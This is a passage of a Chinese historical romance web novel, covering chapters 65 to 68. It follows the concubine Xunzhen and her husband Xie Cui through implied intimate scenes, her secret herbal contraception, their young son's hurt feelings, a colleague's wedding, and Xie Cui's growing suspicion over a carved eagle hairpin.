谢漼看着矮塌,想起那日她中了催情香,赤身躺在这矮塌上,那时她难受,便不停挨蹭着榻上的毡布,以缓解身体燥热。 那时,他亦忍得辛苦。 谢漼曾看过几本房中书、秘戏图,书中所载欢好之姿,花样百出……那晚在门前,还有方才在榻上,他已试了两种,终于懂书中所言妙处,唯有亲历方能领会。 只真儿太过羞涩,若是欺得狠了,怕是泪水涟涟,哀泣不止。 第一晚,谢漼随心而为,肆意了一回。那时,见她落泪哀求,心中渴求竟被无端放大数倍,到后来,便无法自控了…… 因而往后几日,谢漼都刻意收着自己。 谢漼也坐下,一手圈着她,一手伸向她腰间,解系带。 寻真握住了谢漼的手。 “爷,要不……还是晚上?” 谢漼便收回了手,被她拒了,也没恼,毕竟方才已疏解了一回。 床榻上,真儿都不敢睁眼看他,若是换了别的更加出格的,还不知要羞成什么模样。 谢漼虽很想看那样的她,还是按捺住了。 再过些日子,等她完全适应,想来便会应允了。 谢漼暗示般道:“真儿应如何唤我?” 谢漼的进攻性太强。 寻真现在已经完全了解他了。 一步步紧逼、压迫,让对方没有任何喘息的机会,从而让人臣服,任他掌控。 精神一旦松懈,便会堕入到这噬人心骨的“温柔”中。 寻真低着头,轻轻地、柔柔地唤了一声:“夫君。” 谢漼听着,心间蓦地颤了一下,看着她的发顶,缓缓道:“真儿以后便这么唤我,莫要再改口了。” 寻真应了一声。 谢漼摸了下她的头,出去了。 两人沐浴后,次间榻上已清理干净,焕然一新。 寻真现在已经不能直视这盘跳棋,把它放到一边。 两人面对面坐着。 谢漼旋开了糖罐,拿出几颗,见这包装换了,便问:“糖纸为何换了?” 寻真便有些不好意思。 太奢侈了,虽然谢漼很有钱,但寻真既然已知道了砑花笺的价格,就无法心安理得地挥霍。 寻真:“我才知道,砑花笺是文人雅士用来写书信、作诗词的。” “我竟将它用来包糖,太浪费了。” 谢漼却不认同:“此纸,用以修书、赋诗词,亦或为糖之封裹,并无差别。” “物既出于世,本为人所用,而非将人困于条条框框,为人束缚。” “但能博真儿欢心,便是有用、有价值的。” 寻真没想到谢漼会说出这一番话,一时愣怔。 寻真跟谢漼的想法一样,若用的是她自己的钱,也就不在乎了。 谢漼继续道:“有之以为利,无之以为用,真儿可知出自哪里?” 寻真:“《老子》。” 谢漼点头:“树因材质粗劣被视为无用,却因此免遭砍伐,得以自由生长,此乃‘无用之用’。” “看似无用,却有大用。” “人当内心不为物欲所染,方能洞察外物,善加运用,不为其所拘。” 谢漼突然感慨起来。 “此事说来容易,做来却很难。” “人生在世,怎可能完全不被外物所染?” 寻真看着他,突然觉得谢漼老了十岁。 他才二十一,怎么说话一副老相。 谢漼看向寻真,眼神带着笑意:“真儿的名字便蕴含此理了。” 寻真不明。 谢漼:“不以物累,守心向真。” “寻真既叫此名,便更应如此。” “砑花笺不过是小钱,不及真儿开心重要。” “真儿已为我妇,此生都不必再为银钱所忧。” “我账上充裕,真儿想要什么,无需顾虑,直接买便是。” 寻真:“……好。” 谢进敲了两遍,没等到人,便知有变故,翻墙走了。 翌日,寻真睡过头了,手忙脚乱起床,喝完药,跑到房后埋药渣时,谢进正好翻墙进来。 谢进跑过来,也不嫌手脏,帮她一起埋土。 “姐姐,你在种什么?” 寻真已把最新一批白菜都收割了,田中空空。 寻真将土拍实了:“我在埋药渣呢。” 谢进明白了:“……哦。” 寻真:“昨天没等太久吧?” 埋完药渣,两人在角落里说话。 寻真站的角度,正好能看到外面,若有人过来,便能示意谢进离开。 谢进拍拍手上的土:“没,我敲了两遍,不见姐姐来,知有变故。便直接走了。” “昨日,五兄可是来了?” 寻真:“嗯。” 谢进:“我昨日便猜,五兄定是为了陪姐姐过生辰,特意告了假。” 谢进赤诚,由衷为寻真感到高兴。 “姐姐昨日,可过得开心?” 寻真唔了声,不是很想聊这个话题。 谢进突然想起:“差点忘了。” 解开腰间锦袋,递给寻真。 “这是我为姐姐备的生辰礼。” 寻真收下,认真道谢:“谢谢。” 谢进:“只是可惜,昨日未能亲口跟姐姐说生辰祝词。” 寻真:“没关系,你能记着,我就很开心了。” 谢进见她拿着自己的礼物,有些羞赧:“礼物粗陋,还望姐姐莫要嫌弃……实是我想不出送什么,便自己动手……”说着欲伸手挠挠脑袋,又想到手上又泥,便放下了。 寻真惊讶:“你自己做的?” 谢进点头:“嗯,我猜那飞竹定是姐姐亲手做的,便想自己也做一个,回赠姐姐。” “思来想去,便……” 见寻真要打开看,忙道:“姐姐还是稍后再打开看吧……” 寻真笑:“哦,好。” 谢进:“还不知,昨日是姐姐几岁生辰?” 寻真:“二十。” 谢进自言自语般道:“与我差了七岁呢……” 旋即笑着,露出一排牙齿:“虽迟了,还是要祝姐姐——” “生辰喜乐,身康体健,岁岁皆如意,年年皆欢畅。还有……” “祝姐姐,所求皆如愿,所盼皆得偿。” 寻真一怔:“谢谢。” 寻真又道:“对了阿进,你能不能再帮我买些药来?” 谢进:“还是上次那药么?姐姐竟这么快便吃完了?” “吃了三包了……”跟谢进说这个不合适,寻真一顿,“就是买些先备着。” 谢进不通男女之事,也想不到喝药的次数会与什么行为有关,只记起郎中所言,不禁担忧:“姐姐,郎中说了,此药性寒,食多了伤身,于子嗣有损。” 寻真:“好,我知道了” 谢进:“……姐姐这回要多少?” 寻真:“十包吧。” 谢进点头:“那这回,我还是将药放那狗窦中,便不敲窗了……约莫一个时辰后送到。” 寻真:“好。” 寻真进屋取了钱给谢进。 用谢漼的钱买这药,虽有些心虚,但也没办法。 她绝不能活成梦中那个样子。 谢进离开这里后,拿着纸鸢去寻谢璋。 谢璋见到谢进,神色立刻不自在起来,小小身子立在谢进面前,眼神游移不定。 谢进主动开口:“昨日,可是有人欺负了恒哥儿?” 谢璋瞧了他一眼,又很快垂下头。 别别扭扭的,没回答。 谢进:“我是来给恒哥儿送纸鸢的,没别的事……既然恒哥儿不想理我,那我便走了。” 谢进转身,谢璋忙叫住了:“等等。” “昨日你……疼不疼?” 谢璋如今知晓“疼”是什么滋味了,昨日被爹打的那一下,便叫做疼了。 谢进:“有点疼。” 谢璋攥着手,瞅了瞅谢进,十分心虚的样子,张了张口,似是不知道自己应该做什么、说什么。 谢进:“恒哥儿将我弄疼了,理应向我道歉。” 谢璋便问:“该如何道歉?” 谢进:“说声对不起就好啦。” 谢璋:“对不起。” 谢进:“好,我原谅恒哥儿了。” 谢进心想,恒哥儿还是乖孩子。 谢璋迟疑着,问他:“若我说错了话,也只需说声对 不起就可以了吗?” 听谢璋这么说,谢进脑子突然灵光了,昨日恒哥儿哭了,莫不是被长辈批评了? 便问:“恒哥儿可是昨日说了什么,被长辈斥责了?” 谢璋想起昨日,脸涨红了,眼眶也微微湿了。 谢璋自尊心很强:“……没有。” 谢进便道:“那要看恒哥儿说的是什么话,若是严重得无法挽回,便是覆水难收,一句对不住怎够?” 谢进见恒哥儿的眼睛暗了下来,忙蹲下来,道:“恒哥儿,我瞎说的,你这般小,便是说错话,也无妨的。不是有个词叫童言无忌么,大人不会怪你这个才二岁的小孩的。” 谢璋眨着大眼睛:“真的吗?” 谢进:“十五叔说的话,准没错!” 谢璋听了这话,撅了撅唇,似是不信。 五日后。 谢漼已与谢二爷说好,日后便由他自己教养谢璋。下了值便去接谢璋。 二夫人养了谢璋一年多,十分不舍,让丫鬟们打包了许多物什,送去静远居。 谢璋小大人似的,指挥丫鬟们装东西。 谢漼来时,谢璋余光瞄到了,但想起那日被打了嘴巴,心里还记着呢,不知该怎么面对,便背对着谢漼。 谢璋小手指过去:“……还有那两只纸鸢。” 丫鬟应了一声,将架子上的两只纸鸢,放进匣子里。 谢漼眼神扫去。 第66章 第66章“激灵” 东西装完,谢璋回头看了谢漼一眼,眼神小心翼翼。 谢漼神色淡淡:“既已收拾好了,便走吧。” 下人们抬着谢璋的东西陆续离开。谢璋走了几步,突然停下,转身看向后面的丫鬟们。 他小声问:“……爹,可否再等我一会?” 谢漼颔首。 谢璋拿出一个小匣子,里面装着许多金锞子,那时他觉得新奇,二夫人便抓了好几把给他玩。 谢璋:“碧珠,翠玉,巧莲……” 谢璋记得所有人的名字,嗓音稚嫩,逐一念出。 丫鬟便都走过来了,在谢璋面前屈膝蹲下。 谢璋将匣中的金锞子分与她们,平日格外待他好的、照顾用心的,便会多得一些,比如碧珠、翠玉二人。 谢璋分完,匣子也空了。 抬眼望向谢漼:“……我好了。” 谢漼凝视了他一会,弯腰,冲谢璋伸出手。 谢璋被抱起来了,眼里闪着雀跃,还夹杂着点点怯。 谢璋走后,碧玉感慨道:“恒哥儿这么小,竟懂得给咱们赏钱。” 翠玉:“定是恒哥儿见夫人赏过,学了去。恒哥儿可真是聪明呀!” 去静远居的路上。 谢漼看着谢璋的脸,心软了软,摸了下谢璋唇下的位置。 “那日,恒哥儿可疼了?” 谢璋嘴巴一瘪,点了点头。 谢漼:“如今恒哥儿能告诉我,是谁教你说那些话的?” 谢璋想了半晌,摇摇头。 谢漼:“恒哥儿放心说,我不怪你。” 谢璋:“是我在惠宁院时,听人说的,没人教我。” 谢漼:“都说了些什么?” 谢璋想起那日,说了那些话之后,谢漼周身散发的可怖气场,心有余悸,不敢开口。 谢漼看着他怯怯的眸子,温声道:“恒哥儿可明白那些话是何意?” 谢璋摇头。 谢漼:“我今日便告诉你,恒哥儿说的那些话,是极伤人的。” “如利刀刻心,即便伤处愈合,瘢痕却会永远留下。再难挽回。” 谢璋咬了咬下唇,看向谢漼,“那我该怎么办?” 谢漼:“你娘生辰那日,我已教过你,该如何说、如何做。” “是你自己肆意胡为,未表现好。” “如今她已彻底恼了你,不愿再见你,还能如何补救?” 谢璋眼眶湿了,小手紧紧攥着谢漼的衣襟。 谢漼:“那日明明答应了我,为何突然变卦?” 谢璋抿着唇,眼神偏向一旁。 谢漼叹了一口气。 罢了,慢慢教便是。 月兰踏入卧房,余光往旁处一瞥,脚步顿住,“咦”了一声。 这门上有一棂条竟微微弯曲变形了,这是哪个粗心莽撞的丫头做的!弄坏了门竟还畏罪隐瞒,一点规矩都不懂,眼里还有没有主子! 月兰当即就把丫头们都唤了过来。 寻真听见月兰在训丫鬟们,走过去,听了一耳朵,脸红了红。 丫鬟们都低着头,没人站出来,月兰更生气了。 “是哪个做下这等事却不敢承认?若现在自个站出来,便只是小罚。” “若是被我查出来,那这姨娘这儿可就留不得你了!” 丫鬟们面面相觑,还是没人站出来。 寻真在后面听了会儿,见月兰要发怒了,连忙上前阻拦。 “这门应是年代久远,近来又总是下雨,许是受潮,致使木材腐朽,想来应不是她们弄坏的。” 月兰瞧了眼那门,那弯折的角度,明明就是人力强行掰弄所致。 “可是……” 寻真也看过去,那些场景便控制不住地浮现在眼前了。 那晚,年轻而蓬勃的躯体覆在身后,她感觉自己像是被钉在门上。 腿站不稳,力道便全施在这棂条上了,一下过猛,便…… 寻真用力晃晃脑袋。 还是这木头质量太差! 寻真:“就这样吧,都散了,散了吧。” 寻真挥挥手,丫鬟们迟疑了会,皆瞅了眼月兰,最终还是决定听寻真的话,纷纷退出去。 月兰忍不住道:“姨娘,您可不能再这么惯着这些丫头了。” “她们知晓您性子,以为犯了错也无关紧要,往后做事只会愈发不用心,不将您放在眼里了。” 人性本惰。寻真一直未摆出主子的架子,平日说话,总是以“你去帮我做什么”,如此客气的口吻。 时间久了,便是月兰有时都会模糊主仆之分,失了奴婢的分寸。 月兰意识到自己心境的转变,惊出一身冷汗。姨娘对她,从未有过苛待,还教她学画。若换作其他主子,哪怕再仁善,都不会有这般待遇。她又怎能不知感恩。 她这么自省一番后,便愈发地注意起其他丫鬟们了。 今日也是借此机会警醒她们。 寻真明白月兰说的意思,就是把“人”当“奴”调/教。 若她真的学着这么做了,那也是真的面目全非了。 她只想在自己有限的能力范围内。 让大家都能做个人吧。 寻真想了想,就说:“的确不是她们干的,是我弄坏的。” 月兰显然不太相信:“姨娘怎会无缘无故将这门给弄坏……” 寻真往里走去:“我骗你这个做什么,反正就是不小心……” 月兰突然注意到:“姨娘,您头上这木簪是何时买的?” 月兰平日负责给寻真梳妆,自是了解她的首饰,这木簪从未见过。仔细瞧着,做工还有些粗陋。 寻真摸了下:“是我自己做的。怎么样,好看吗?” 月兰知道寻真爱做手工,院子里的小椅子,还有秋千都是寻真亲手慢慢做的。也就信了。 点了点头,道:“好看。” 月兰打量着,不过这簪子瞧着线条颇为凌厉刚硬,不似女儿家款式,倒像是男子的发簪。 至于这图样,好像是……鹰? 寻真本以为谢漼那方面的需求很强,还担心每天都得喝药,但自那日她生辰后,谢漼便没再来了。 数一数,好像有十天了? 又回到了两年前,谢漼来找她的频率。 这个频率让寻真感到安心。 若一直像那几天那么折腾,容易肾虚。 二月末,气温逐日回升。 今日天气特别好。 天朗气清,春和景明。 寻真心情不错,在衣柜里挑裙子时,突然看到谢漼设计的那条“天水雾绡裙”,虽然这条裙子有一些难以启齿的限制级回忆,但裙子本身无罪。 寻真拎出这条裙子后,月兰和引儿都试图阻止了下。 最后,没拧过寻真。 寻真没做复杂的造型,只是用木簪将头发挽起。 谢漼便是这时来的。 院里一派生机盎然。 两边的果树皆已长成,其中两棵,枝叶间绽放出白色小花,谢漼辨认一番,知这是橘子树。另一边的树,只开着少量的喇叭状红色花朵,应是石榴树了。 谢漼归来后,还未仔细看过这院子。 发现许多景致都与两年前大不相同了。 院里还四散着几把竹椅,模样独特,不必说,自是真儿的奇 思妙想。 谢漼的视线过去。 榆树下,还有一个秋千,形制别致。 寻真躺在上面,裙摆如流水般迤逦垂下。 她还脱了鞋子,赤着脚,时而抬起,轻点着打了结的麻绳。 如此自在。 谢漼在一旁瞧了一会。 寻真举着书,忽然感觉身上落了影子,挪开书,与谢漼含笑的目光对上了。 谢漼来了? 寻真心算,哦对,今日他休沐。 谢漼俯身,将她抱了起来。寻真手一滑,书掉在地上,啪一声响。 书案前,谢漼环着她,手在她腰间轻轻摩挲。另一只手,提笔作画。 待画渐渐显出轮廓,寻真便认出来了:“爷画的是我这院子?” 谢漼一顿,放在她腰间的手微微收紧。 “真儿又忘了,该唤我为何?” “夫……君。” 谢漼凝视着她,寻真便又唤了一声:“夫君。” 谢漼这才满意,提笔继续:“那日受真儿点拨,我亦思索多日,今得了妙想,正好一试。” 谢漼作画,运笔如飞,须臾便作好了。 这幅画,着重展现空间架构,远近层次错落分明。以大面积的淡墨晕染,来摹绘光线明暗,有很强的空间感和立体感。 谢漼搁笔:“真儿觉得如何?” 寻真震惊地看他。 谢漼:“看真儿表情,应是觉得不错。” 谢漼唤人收了画,然后又取来纸笔,让寻真写字。 谢漼念一字,寻真便写一字。 寻真写着写着,便觉得身后的气息不对了。 …… 窗几明亮。阳光洒在宣纸上,切割成一道道金黄色块。 那字,一开始端端正正,到第十字以后,便歪了。 弯弯曲曲,没有一笔是直顺的,如波浪起伏,连绵不断地抖动。 裙摆堆在腰际,寻真捏着笔,笔尖颤动。 一滴墨落下,污损了才写下的一字。 谢漼在她耳旁低语,声音粘稠而喑哑:“果真如我记忆中那般,柔软温热,仿若春阳融雪、暖泉流淌。” 这话,怎么有种莫名的熟悉感,好像在哪儿看过? 此刻却容不得寻真细想,思维很快便被搅动得混乱不堪。 谢漼:“真儿继续,下一字。” “便写我的名字吧。” 寻真抖着手,写下“谢”字。 谢漼捏着她的腰,声音沉了几分:“十日未见,真儿竟不想我。” 寻真又写“漼”字。 声音也抖:“想、想的。” 谢漼:“既想,真儿怎不派人来请我。” “方才,我可瞧见……我不在,真儿日子可过得极为舒服呢。” 寻真:“没有……方才我正想爷——” “想夫君呢。” 谢漼抽走那笔,将她脑袋按在胸前:“是么。” 寻真点了点头:“是……” 谢漼将她转了方向,面对面。 寻真脸上浮着酡红,眼神涣散。 谢漼摸着她的肚子,缓缓地:“真儿,若你下回有了身子。” 听到这话题,寻真一个激灵,眼神瞬间清明了。 脑后的簪子落到地上,清脆一声响。 第67章 第67章“泄于” “不论男女,皆由你养。” 谢漼道,“只不过,有一事却要委屈真儿了。” 寻真直视谢漼,方才被调动起来的情绪已渐渐冷却。 谢漼:“是为夫贪心,欲与真儿多些时日亲近。” “若真儿有了,便不能时常这般……真儿可怨我?” 寻真一怔,片刻后才搞懂谢漼的脑回路—— 他不想她过早怀孕。 但…… 自己主动喝避子汤,与被迫喝,还是有很大区别的。 寻真的体温也降了下来,目光冷静地看着他:“那……如何避孕?” 谢漼按在她的小腹上,抬眸看她。 那桃花眼微微上挑:“不泄于内即可。” 寻真思索着。 谢漼:“真儿可是恼我了?” 寻真摇头,犹豫片刻,还是开口问道:“……为何不喝避子汤?” 寻真网上冲浪时,好像看见过,带避孕套都有中的几率,虽然很小。 谢漼的方法真的可行? 不过,她跟他的想法也算是诡异般的一致了。 谢漼:“真儿不知,凡避子之药,皆对女子身体有极大的损伤。” “胞宫受损,便难以摄精成孕,便是有了,也易滑胎。致使子嗣艰难。” “这还是轻的。避子药伤脏腑,耗气血,更有毒性。” “毒邪积聚于内,重则毒入脏腑,危及性命。” 寻真听得背脊发凉,额间渗出冷汗。 还好她只喝了三包,倒不至于到那么严重的地步。 谢漼抬手拭去她脸上的汗珠:“真儿放心,为夫必不会让你服那害人身子的药。” 这人说的好听。 寻真瞪了他一眼,脱口而出:“那你那几天不还是……” “弄进去了吗!” 话一出口,脸热了热,耳根发烫。 谢漼忍不住掐她的脸。 眉眼舒展,笑了几声,道:“不过短短四日,若真儿因那几日有了身子。” “那便是命里该有这个孩儿。” “为夫也只能认了。” 寻真:…… 事毕,两人衣衫凌乱。 他抱着她,低声在她耳边道:“再过两年,正合适。” “我们便再要一个。” “到那时,真儿从小将孩儿养在膝下,也不会……” 谢漼止了话头,没再说了。捡起地上的木簪,正打算替她挽起散乱的发丝,却在看到簪子的形状时,目光凝了数秒。 下一刻,木簪便被寻真拿了过去。 寻真将头发盘起,插上木簪。 谢漼若有所思:“这木簪从何而来?” 寻真还是同一套话术:“我自己做的。” 谢漼:“哦?真儿手竟这么巧。” 寻真本没多想,对上谢漼意味深长的目光,心中蓦地一紧:“我不止会做木簪。院子里的秋千,还有竹椅,都是我做的。” 谢漼抬手,绕到寻真后脑,摸了摸那簪子。 “真儿,是不是忘了什么?” 寻真:“……嗯?” 谢漼收回手,捏了捏她的鼻尖:“为夫给真儿十日的时间想。若想不出……” “便要罚。” 寻真:?? 寻真想了两日,实在想不出忘了什么,就不想了,反正现在的尺度已经被拉到底,无所谓了。 寻真在房后挖了个大坑,把剩下的十二包避子药都埋了进去。 三月初五,黄道大吉,宜嫁娶。 鼓乐喧天,彩绸飘扬。 范府内外皆张灯结彩,红绸高挂,喜气盈门。宴席设在正堂后的花厅,厅内摆着数十张红木圆桌,宾客们或坐或立,笑语喧哗。 礼官高声唱礼,新人并肩而立,行三拜之礼。 席间却有人低声议论。 “这范岂,当真是好运道,竟叫王家小姐看中了,你看这府邸,如此气派,若非王家帮衬,这穷酸小子哪能在京中置办得起这般宅院!” “我却听说这范家在苏州也曾显赫一时,祖上为官者不少……” “早已没落了!哪来这般财力?如今攀上这门亲事,怕是不日便要飞黄腾达了!” 两人也在秘书省任职,范岂的同僚。 “人家自是有凭仗之处,你瞧这范岂,生成这样,才有高门闺秀看得上,你我这般,怕是只能靠自己本事咯……” “没点真本事,便只能靠那姻亲往上爬,咱可瞧不上!” 这两人一番酸言酸语,恰被一旁的韦义听到。 若非今日是好兄弟的大喜之日,他定要上前理论一番。 论才情,论品貌,这两个庸人,哪能与怀逸相提并论! 韦义心中气愤,喝了口酒,暂且忍下。 他抬眼望去,见范岂身着新郎喜袍,真真是好看! 不过那脸,怎么瞧着没一点喜色呢? 韦义四处望望,也对,今日因王家之故,来了不少达官显贵。 怀逸怕是紧张了。 谢漼亦在受邀之列。他素喜清静,觉得有些吵闹,便 寻了个由头出来透气。 范府内外,处处洋溢着喜庆。 正堂庭院中铺设红毯,两侧摆放牡丹,花开正艳。四周悬挂着琉璃灯,照着整个庭院亮如白昼。 今日月似弯钩,空中无一丝云。 谢漼立在红绸下,赏月时,忽闻身旁有动静。他侧目一瞥,见范岂脚步虚浮,跌跌撞撞而来,身后小厮忙上前搀扶,却被他挥手推开。 谢漼只扫了一眼,正欲抬步,准备避开。 范岂却打发了小厮,径直朝他奔来。 “且慢。” 范岂到了跟前,嘴中带着酒气,面颊微红,方才席间,谢漼见他被灌了不少酒,想必已醉得不轻。 谢漼并不想与醉汉谈话,只淡淡道:“如此良辰,校书郎莫要误了吉时。” 范岂却盯着他,眼中血丝隐现,虽醉了酒,仍不忘礼节,好好地作了一揖。 “博士可否为我解惑?” “此问困扰我两年,始终不得其解。如今……唯有博士能解我疑惑了。” 谢漼看着他:“校书郎又欲问何?” 范岂:“若以鹰与鱼为题,作四言对句。” “博士当如何构思?” 谢漼目光一凝,细细打量范岂神色:“校书郎为何执着于此?可是有何内情?” 范岂摇摇头,自嘲般一笑。 “如今我已娶妻,自当恪守婚姻之责,断不可再存旁念了。” “还望博士善待小楼姑娘。” “莫要负了她。” 范岂躬身作揖,眼中泪光闪动,转身,踉跄离去。 谢漼在原地站了一会,也转身离去。 书房内。 谢漼铺纸,提笔写下几字,凝神细思。 那纸上,正是—— 鹰,鱼,灯。 这三字。 随后,谢漼又凭借记忆,将那日范岂放在桌上的灯画了出来。 拿着纸思索时,谢璋走了进来。 “爹。” 谢漼低头看去,谢璋小小身子靠在案边,睁着大眼睛瞅着他。 大眼睛水水润润的。 “恒哥儿怎来了?”谢漼起身,谢璋便张开了双臂。 天色已深,谢璋早该睡下了。 谢璋窝在谢漼怀里:“我睡不着。” “爹……”谢璋犹豫了一下,“我想……” 谢漼温声问:“恒哥儿想要什么?” 谢璋鼓起勇气,仰起小脑袋,手抓着谢漼的衣服,紧了紧,“爹,我想和你一起睡。” “可以么?” 谢漼应了一声。 谢璋开心地瞪了瞪小腿,看到桌上的画,“咦”了一声。 谢璋:“爹也喜欢大鸟吗?” 谢漼摸他脑袋的手一顿:“为何这么说?” 谢璋:“十五叔也喜欢呢……不过爹可比十五叔画得像多了。” 谢漼:“你怎知道他喜欢?” 谢璋:“十五叔送了我两只纸鸢,上面画得便是这大鸟了。” 谢漼想起那日,确实见过两只纸鸢,虽画工粗糙,是“鹰”无疑。 谢漼蹙起了眉。 谢漼:“恒哥儿怎会与你十五叔交好?” 谢璋:“是他主动邀我玩的。” 谢漼点头,并没再多问。 卧房内,谢璋蜷在谢漼怀中,舒适地轻叹一声。 谢漼轻拍他的背,许久却不见他入睡,见他小脸紧绷,一副心事重重的模样。 谢漼:“恒哥儿在想什么?” 小脑袋摇了摇,没答。 谢璋乖乖地窝在他怀中,没有乱动。谢漼渐渐入眠。 忽然被一声呼唤叫醒。 “爹。” 谢漼:“何事?” 谢璋在心底憋久了,终于忍不住,抬起头,问了出来。 “她真的是我娘吗?” 谢漼自然知道这个“她”指的是谁。 谢漼:“恒哥儿不可如此无礼。” “我先前不是与你说过了……” 谢璋眼睛闪着水光:“那为何她一点都不喜欢我?” 谢漼轻抚他的头:“怎会不喜欢你?恒哥儿莫要乱想。” 谢璋哽咽道:“我从她的眼睛里看到了。” “她不喜欢我。” 谢漼一怔,便哄:“天底下哪有娘不喜欢自己孩儿的。” “恒哥儿莫要……” 谢璋摇摇头,小脸贴着谢漼的胸膛,传来闷闷的声音。 “你们都骗我……” “既然她不喜欢我。” “我也不要喜欢她了……” 谢漼进来时,寻真正趴在榻上看书。 寻真只觉得气氛有些异样,便抬起头来,见谢漼站在门边,一声不吭,正凝视着自己。不知什么时候来的。 寻真觉得他今天有点奇怪。 寻真坐了起来。 寻真:“……爷?” 忽然又想起他让她改口,一时犹豫要不要补一句,见他没应,也就没唤。 谢漼却忽然逼近,俯身靠近,脸几乎贴到她面前。 似欲吻她。 寻真猝不及防,眼睫快速颤动着。 与他对视了一会。 谢漼退开,取过几上的茶盏,轻啜一口。 寻真刚想提醒他,那茶是好几个时辰以前的,都凉了。 却见谢漼已经喝下去,神色如常,似乎完全不在意。 谢漼放下茶后,只问:“上回我问真儿之事。” “可有答案了?” 第68章 第68章“汹涌” 寻真:“不是说十日么?” 谢漼:“真儿可有头绪了。” 寻真诚实地摇摇头。 谢漼盯了她一会,只道:“真儿好好想,莫要让为夫失望。” 撂下这句话,就走了。 寻真:莫名奇妙。 谢漼行至一处拐弯,与谢进撞了个正着。 谢进两手各拿一张酥饼,啃得正香,嘴边沾着细碎的饼渣。 瞧见谢漼的刹那,谢进跟见了家中长辈似的,神色一紧,忙将手中酥饼放下了,连脚步都不自觉放慢。 “五兄。” 谢漼颔首:“十五弟。” 两人打了招呼,错身而过。 谢漼走出数步,脑海中陡然浮现出谢进方才的神情。 那神色里,既有心虚的闪躲,又有乍见时的惊讶,神色间若有所思,别有一番计较。 不太正常。 回廊四通八达,蜿蜒曲折,可通往府邸的各个庭院楼阁。 走到尽头处,谢漼转身回望。 见谢进调转了方向,正沿着他来时的路走去,脚步轻快,身影逐渐消失。 谢进将饼递给寻真,道:“今日买了两张饼,本想都吃了……正巧碰上五兄,我猜五兄应是刚从姐姐这边回去,便过来了。” 两人靠在小窗边说话。 寻真轻咬一口,酥脆可口,唇齿留香,竖个大拇指,赞道:“好吃!” 谢进想到一事,瞅了寻真一眼,犹豫片刻,还是开口问了:“姐姐……你那个药还需要我帮你买吗?” 谢进心想,上回那么快便喝完了,如今已过去近二十日,想必也该续上了。 寻真:“不用了。以后都不用帮我买了。” 谢进疑惑:“为什么?” 难道姐姐又改变主意,想给五兄生孩子了? 寻真脸上浮现尴尬,这也不好跟小孩说呀。 虽在这里,谢进已不算小孩,再过一两年便要相看议亲,但现在还什么都不懂呢。 寻真便含糊带过了:“没为什么,反正以后都不需要了……” 书房中。 谢漼写完一篇,拿起审视。 心烦意乱之际,自是写不出什么好字。 笔锋凌乱,毫无风骨。 这字写得实在是下乘。 谢漼遂将宣纸折起,放一旁,重新提笔蘸墨,继续写。 写着写着,笔锋凝滞,墨汁在笔尖汇聚,最终滴落在纸上,刚写下的“真”字瞬间被墨迹晕染,模糊难辨。 谢漼身形顿住,陷入沉思,片刻后,他从案上抽出另一张纸。 那上面正是他前几日画下的“鹰灯”。 唤了一声,承安便快步来到门口,垂手而立。 “承安,你去……”谢漼看着那纸,目光凝了片刻,最终还是道,“罢了,退下吧。” 承安应了声是,退下时,余光瞄见,谢漼将那纸折了起来,放到架子上。 太学讲堂。 谢漼结束一课,正要离开,一学生叫住他,拱手行礼,道:“博士,学生有惑。” 谢漼颔首,示意他问。 那学生问道:“郑庄公明知其弟共叔段与母亲武姜谋逆,却长期隐忍,未及时制止。” “是不忍对母亲与胞弟下手,还是另有考量呢?” 谢漼闻言,一时神思飘远,须臾,他望向学生,道:“亲情之念,自然不可忽视。” “然郑国局势难测,共叔段势力渐大,郑庄公若因亲情姑息,必危及社稷。” 学生道:“那其中定有 政治权衡了?” 谢漼点头,道:“郑庄公身为君主,应谋大局。他隐忍不发,或为等待时机,欲擒故纵。待共叔段恶行败露再除之。” “可稳君位、得民心。” “使天下人皆知其乃被迫而为,而非不顾亲情之人。 学生听后,不禁长叹。 谢漼:“因何而叹?” 学生:“纵有朝堂权衡在前……然郑庄公处家国与亲情之两难,心中应当甚是煎熬的吧……” 谢漼注视了他一会儿,半晌后,道:“世间诸事。” “唯有直面,方能解脱。” 学生陷入了思索中,再度抬起头时,那挺拔的身影已走远了。 寻真用完晚膳,谢漼来了。 寻真先观察他的神色,看看他心情如何。寻真上下扫了一通,一无所获。 谢漼装相的功夫实在太好。 寻真想起那天,他整个人都怪怪的,喝下搁了好几个时辰的凉茶,都一点没察觉。 还是小心为上,别触他眉头。 谢漼甫一落座,便捕捉到寻真小心翼翼的目光。 蓦地,脑海中便浮现了谢璋。 那晚,恒哥儿倚在案边,小手抓着桌腿,仰着脑袋瞅他。 分明是从一个模子里刻出来的。 这小子,竟还怀疑起来…… 想到这,谢漼眉眼间浮起一抹淡淡的笑意。 寻真见他神色缓和,悬着的心稍稍安定,上前,给他斟上一盏茶。 然后在他对面坐下。 谢漼:“真儿可想出答案了?” 寻真老老实实摇头,见谢漼眼中的暖意冷却,连忙找补说:“爷,我真的很努力想了……” “实在不知您说的是什么,可否……给我点提示?” 谢漼淡淡道:“若你有心,何须提点。” 寻真纳闷:这是打什么哑谜呢? 谢漼继续道:“若无心,纵千般提点,亦是徒劳。” 寻真皱起了眉:谢漼这是在内涵她什么? 而且这话听着,怎么有点莫名的熟悉呢? 谢漼不再言语,拿起了书。 周身盘旋着若有若无的寒气。 寻真思索许久,开口:“还望爷直言相告。” “我……实在想不到。” 谢漼没有抬头:“真儿,如今不怕我罚你了么?” 寻真:“自是怕的……” “但……” 谢漼陡然抬眸,紧紧锁住她。 这种眼神很久没出现了。 隐隐藏着审视与探究,又透着丝丝寒意。 就好像……她做了什么对不起他的事。 明明之前还好好的,怎么突然这样了。 寻真不得其解。 寻真不想放任这种诡异的氛围延续下去。 谢漼生气起来的样子可是很可怕的。 虽然已经过去两年多了,寻真现在回想起来,还是会觉得手脚发软。 寻真上了谢漼那边的塌,给他揉肩膀。 谢漼只是抬眸,轻轻瞥她一眼。 并没说话。 谢漼肩膀上的肉有点硬,寻真捏了一会,便感觉手指和手腕发酸,甩了甩手。 这时,就听谢漼说:“我可再容真儿想十日。” “这回,若还想不出,便要——” “严惩。” 寻真的手刚放到他肩上,停下。 严惩? 寻真望去,谢漼神色淡淡,脸部肌肉却是微微绷着的,一看就是来真的,没开玩笑。 而且那语气也刻意加重了几分。 寻真心头沉沉。 看着谢漼的侧脸,道:“爷,我虽不如您过目不忘,却也自认为记性没那么差。” “您说过的话,我都记着呢。” “这十日,我思来想去,实在不知到底忘了何事。” 寻真敢确定,谢漼绝对是没事找事。 就跟上次一样,巧立名目,故意为难! 寻真心里骂了他几遍,嘴上说:“若真有,那应是我失忆之前发生的事。” 